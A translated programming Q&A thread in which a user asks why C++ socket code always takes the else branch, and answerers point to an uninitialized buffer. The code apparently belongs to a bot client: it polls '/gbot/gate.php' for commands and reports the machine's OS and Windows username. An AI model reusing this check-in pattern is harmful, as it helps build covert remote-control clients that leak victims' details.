2013-04-09 234 views
-2

用下面的代码,程序总是进入if的else部分,并且从不到第一个,为什么?C++发送和接收套接字

char buffer[10000]; 
    if(buffer[0] != '\0') 
    { 
     send(Socket, "GET /gbot/gate.php?page=get_cmd", strlen("GET /gbot/gate.php?page=get_cmd"), 0); 
     recv(Socket, buffer, 10000, 0); 
     cout << buffer; 
     buffer[0] = '\0'; 
    } 
    else 
    { 
     string mybuf("GET /gbot/gate.php?page=ident&os="); 
     if(getenv("windir") != NULL){ 
      mybuf += "windows&username="; 
      mybuf += getenv("username"); 
      mybuf += "&version=win"; 
      mybuf += "\r\n\r\n"; 
     } 
     else 
      mybuf += "linux\r\n\r\n"; 
     send(Socket, mybuf.c_str(), mybuf.length(), 0); 
     recv(Socket, buffer, 10000, 0); 
     cout << buffer; 
    } 
+1

因为缓冲区[0]有'\ 0',我猜。你说什么? – nommyravian 2013-04-09 23:51:31

+0

但在其他部分,当我通过套接字recv缓冲区,它改变,不是吗? – OrrGorenn 2013-04-09 23:53:48

+0

当然,它会改变,但是这里没有回到'if'的循环。 – EJP 2013-04-10 00:48:34

回答

0

您从未初始化char buffer[10000];,因此缓冲区的内容是非确定性的。

0

在IF语句之前初始化数组,如:

char buffer[10000]; 
for (int i = 0; i < 10000; i++) 
    buffer[i] = '1'; //you can initialize with any character except '\0' because you're testing for != in IF. 
+1

'memset()'存在。 – Havenard 2013-04-09 23:58:00